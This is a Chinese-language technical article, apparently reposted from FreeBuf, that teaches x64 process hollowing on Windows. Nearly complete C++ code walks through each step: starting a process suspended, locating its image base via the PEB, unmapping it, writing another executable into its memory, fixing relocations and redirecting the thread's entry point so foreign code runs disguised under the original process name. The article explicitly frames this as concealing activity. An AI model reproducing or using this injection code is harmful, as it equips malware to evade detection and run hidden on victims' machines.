x64 Process Hollowing
文章介绍了如何通过创建挂起进程、获取目标程序的PEB地址并加载自己的程序到目标内存中以实现进程镂空。具体步骤包括获取PEB中的ImageBaseAddress、读取目标程序的内存信息、取消目标程序的映射、将自己程序加载到内存中并进行重定位修复,最后设置寄存器恢复线程执行以隐藏行踪。 2025-12-3 12:14:46 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

# 原理

进程镂空,就是把进程A内存里的东西掏空,然后把我们自己的程序放进原来的内存里运行,进程名还是A的,由此达到隐蔽行踪的目的。

# 实现原理

1.以挂起状态创建进程

LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
CreateProcessA(target_path.c_str(),NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,pStartupInfo,pProcessInfo);

2.获取目标程序的PEB

pPEB包含有ImageBaseAddress,这个是需要使用的。

获取PEB需要使用一个API: NtQueryInformationProcess,这个需要通过GetProcAddress获取:

HMODULE hNTDLL = nullptr;
_NtQueryInformationProcess ntQueryInformationProcess = nullptr;

BOOL LoadNtQueryInformationProcess() {
	hNTDLL = LoadLibraryA("ntdll");
	if (hNTDLL == nullptr) {
		return false;
	}
	FARPROC fpNtQueryInformationProcess = GetProcAddress(hNTDLL, "NtQueryInformationProcess");
	if (fpNtQueryInformationProcess == nullptr) {
		return false;
	}
	ntQueryInformationProcess = (_NtQueryInformationProcess)fpNtQueryInformationProcess;
	return true;
}

获取API之后读取PEB的地址:

PPEB FindPEB(_In_ HANDLE hProcess) {
	if (ntQueryInformationProcess == nullptr) {
		if (!LoadNtQueryInformationProcess()) {
			return nullptr;
		}
	}
	PPROCESS_BASIC_INFORMATION ProcBasic = new PROCESS_BASIC_INFORMATION();
	ULONG ProcBasicLength = 0;
	ntQueryInformationProcess(hProcess, ProcessBasicInformation, ProcBasic, sizeof(PROCESS_BASIC_INFORMATION), &ProcBasicLength);
	return ProcBasic->PebBaseAddress;
}

然后获取到PEB:

PPEB pPEB = new PEB();
BOOL ReadPEB(_In_ HANDLE hProcess, _Out_ PPEB pPEB) { if (ReadProcessMemory(hProcess, FindPEB(hProcess), (LPVOID)pPEB, sizeof(PEB), nullptr)) { return TRUE; } return FALSE; }

通过PEB就可以获取到ImageBaseAddress

PVOID ImageBaseAddress = pPEB->Reserved3[1];

这里说一下,如果直接看PEB结构体的定义,或者查微软的文档会发现ImageBaseAddress其实是个不开源的字段,保留给系统使用的,但是通过其他逆向的资料可以查到x64的PEB偏移是0x10,取偏移就可以了。也可以把别人做好了的PEB结构体拿过来直接用,不用系统给的,更加清晰。

3.加载自己的程序

自己的程序不能CreateProcess,我们要手动加载,然后填充到目标程序的内存里,所以要用读文件的方式:

HANDLE hFile = CreateFileA
	(
		hollowing_path.c_str(),
		GENERIC_READ,
		0,
		0,
		OPEN_ALWAYS,
		0,
		0
	);
	if (hFile == INVALID_HANDLE_VALUE) {
		cout << "Error opening " << hollowing_path << endl;
		return;
	}
	DWORD dwFileSize = GetFileSize(hFile, 0);
	PBYTE pBuffer = new BYTE[dwFileSize + 1];
	memset(pBuffer, 0, dwFileSize + 1);
	DWORD dwBytesRead = 0;
	ReadFile(hFile, pBuffer, dwFileSize, &dwBytesRead, 0);
	CloseHandle(hFile);

用CreateFile读文件,然后获取文件长度就行

4.将目标程序取消映射

这里要使用一个windows api: NtUnmapViewOfSection,这个API的功能是将目标进程从内存中取消映射。

if (hNTDLL == nullptr) {
		hNTDLL = LoadLibraryA("ntdll");
	}
	FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
	_NtUnmapViewOfSection ntUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
	PVOID ImageBaseAddress = pPEB->Reserved3[1];
	NTSTATUS ntStatus = ntUnmapViewOfSection(
		pProcessInfo->hProcess,
		ImageBaseAddress
	);

5.把自己的程序加载进目标内存

首先获取一下自己程序的文件头信息:

PLOADED_IMAGE GetPEHeader(LPVOID PE) {
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)PE;
	PLOADED_IMAGE pLoadedImage = new LOADED_IMAGE();

	pLoadedImage->FileHeader = (PIMAGE_NT_HEADERS64)((BYTE*)PE + pDosHeader->e_lfanew);
	
	pLoadedImage->NumberOfSections = pLoadedImage->FileHeader->FileHeader.NumberOfSections;
	pLoadedImage->Sections = IMAGE_FIRST_SECTION(pLoadedImage->FileHeader);
	pLoadedImage->SizeOfImage = pLoadedImage->FileHeader->OptionalHeader.SizeOfImage;
	return pLoadedImage;
}
PLOADED_IMAGE pLoadedImage = GetPEHeader(pBuffer);

然后修改对应的内存权限:

LPVOID pImage = VirtualAllocEx(pProcessInfo->hProcess, ImageBaseAddress, pLoadedImage->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

然后把文件头写入内存:

BOOL WriteProcRes = WriteProcessMemory(pProcessInfo->hProcess, ImageBaseAddress, pBuffer, pLoadedImage->FileHeader->OptionalHeader.SizeOfHeaders, nullptr);

我这里是直接用了ImageBaseAddress当写入地址,其实应该用VirtualAllocEx返回的地址,我在前面判断了一下发现是一样的。

然后再把每个section依次写入内存,注意一下我们自己的程序要用PointerToRawData,目的地址要用VirtualAddress,这个的区别是我们自己的程序现在还是file layout,放进内存要用memory layout,从file layout到memory layout需要内存对齐,地址会有变化。

依次写入section:

for (ULONG i = 0; i < pLoadedImage->NumberOfSections; i++) {
	ULONGLONG des = (ULONGLONG)ImageBaseAddress + pLoadedImage->Sections[i].VirtualAddress;
	//忽略.bss
	if (pLoadedImage->Sections[i].PointerToRawData == 0) continue;
	if (!WriteProcessMemory(pProcessInfo->hProcess, (LPVOID)des, (LPCVOID)((ULONGLONG)pBuffer + pLoadedImage->Sections[i].PointerToRawData), pLoadedImage->Sections[i].SizeOfRawData, nullptr)) {
		cout << "Write section " << pLoadedImage->Sections[i].Name << "error" << endl;
	}
	printf("Section %s write at 0x%llx\n", pLoadedImage->Sections[i].Name, des);
}

额外提一句,这里一定要把自己程序的ImageBase修改成PEB里的,要不然程序在mainCRTStartup就会崩溃掉,猜测的原因可能是寻址不仅仅是VirtualAddress,还有可能是ImageBase  + RVA:

pLoadedImage->FileHeader->OptionalHeader.ImageBase = (ULONGLONG)ImageBaseAddress;

6.重定位修复

然后到了让程序能够跑起来的最关键的一个步骤,因为目标程序有一个ImageBase,自己的程序有另外一个Base,而程序内的指针寻址都是靠VirtualAddress寻址的,不修重定位会导致定位到错误的地址导致程序崩溃掉。

先计算一下目标程序和源程序的ImageBase有不有区别,有区别就修复,没区别可以不修,不过一般都有区别的:

ULONGLONG RelcDelta = (ULONGLONG)ImageBaseAddress - pLoadedImage->FileHeader->OptionalHeader.ImageBase;

如果有就进行重定位修复:

if (RelcDelta) {
		cout << "Starting relocation fixing" << endl;
		PIMAGE_SECTION_HEADER RelcSection = nullptr;
		for (ULONG i = 0; i < pLoadedImage->NumberOfSections; i++) {
			if (!memcmp(pLoadedImage->Sections[i].Name, ".reloc", 6)) {
				RelcSection = &pLoadedImage->Sections[i];
				break;
			}
		}
		if (RelcSection == nullptr) {
			cout << "Cannot find section .reloc" << endl;
			return;
		}
		IMAGE_DATA_DIRECTORY RelcData = pLoadedImage->FileHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
		ULONG RelcAddr = RelcSection->PointerToRawData;

		PIMAGE_BASE_RELOCATION pRelcBaseBlock = (PIMAGE_BASE_RELOCATION)((ULONGLONG)pBuffer + RelcAddr);
		for (ULONG offset = 0; offset < RelcData.Size; offset = offset + pRelcBaseBlock->SizeOfBlock) {
			pRelcBaseBlock = (PIMAGE_BASE_RELOCATION)((ULONGLONG)pBuffer + RelcAddr + offset);
			PBASE_RELOCATION_ENTRY pRelcEntry = (PBASE_RELOCATION_ENTRY)((ULONGLONG)pRelcBaseBlock + sizeof(IMAGE_BASE_RELOCATION));
			ULONG EntryCount = (pRelcBaseBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY);
			for (ULONG i = 0; i < EntryCount; i++) {
				if (pRelcEntry[i].Type != IMAGE_REL_BASED_DIR64) continue;
				ULONGLONG ullBuffer = 0;
				ReadProcessMemory(pProcessInfo->hProcess, (LPCVOID)((ULONGLONG)ImageBaseAddress + pRelcBaseBlock->VirtualAddress + pRelcEntry[i].Offset), &ullBuffer, sizeof(ULONGLONG), nullptr);
				//printf("Relocationg: 0x%llx -> 0x%llx\n", ullBuffer, ullBuffer + RelcDelta);
				ullBuffer += RelcDelta;
				WriteProcessMemory(pProcessInfo->hProcess, (LPVOID)((ULONGLONG)ImageBaseAddress + pRelcBaseBlock->VirtualAddress + pRelcEntry[i].Offset), &ullBuffer, sizeof(ULONGLONG), nullptr);
			}
		}
	}

MSVC编译的程序一般会有一个section叫".reloc",专门用于存放重定位信息,所以通过遍历节表找到叫这个的section就行。

.reloc这个section的结构就包含两个结构体,一个是IMAGE_BASE_RELOCATION,大小8个字节,定义如下:

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;    // 块的起始 RVA(内存页基址)
    DWORD   SizeOfBlock;       // 块总大小(包括本结构和后续条目)
} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;

还有一个是BASE_RELOCATION_ENTRY,大小2个字节,这个是自己定义的:

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

高12个bit用于表示需要修复重定位的地址的偏移,12bit就是0xFFF。

整个.reloc的结构就是:

IMAGE_BASE_RELOCATION1->BASE_RELOCATION_ENTRY1->BASE_RELOCATION_ENTRY2....

IMAGE_BASE_RELOCATION2->BASE_RELOCATION_ENTRY1->BASE_RELOCATION_ENTRY2....

IMAGE_BASE_RELOCATION3->BASE_RELOCATION_ENTRY1->BASE_RELOCATION_ENTRY2....

7.设置寄存器,恢复程序运行

这已经到了最后一步,在x64的环境中恢复挂起的线程的时候会从RCX中读取程序的起始地址,所以我们把EntryPoint填进去就行了,然后恢复执行即可。

LPCONTEXT lpContext = new CONTEXT();
	lpContext->ContextFlags = CONTEXT_ALL;

	if (!GetThreadContext(pProcessInfo->hThread, lpContext)) {
		cout << "Cannot get thread" << endl;
		return;
	}
	lpContext->Rcx = (ULONGLONG)ImageBaseAddress + pLoadedImage->FileHeader->OptionalHeader.AddressOfEntryPoint;
	if (!SetThreadContext(pProcessInfo->hThread, lpContext)) {
		cout << "Cannot set thread" << endl;
		return;
	}
	cout << "Resuming thread" << endl;
	if (ResumeThread(pProcessInfo->hThread) == -1) {
		cout << "Resuming thread fail" << endl;
		return;
	}

根据我调试的结果来看,把RIP设置成EP好像也是可以的,但是我这里设置的是RCX。


文章来源: https://www.freebuf.com/articles/system/460270.html
如有侵权请联系:admin#unsafe.sh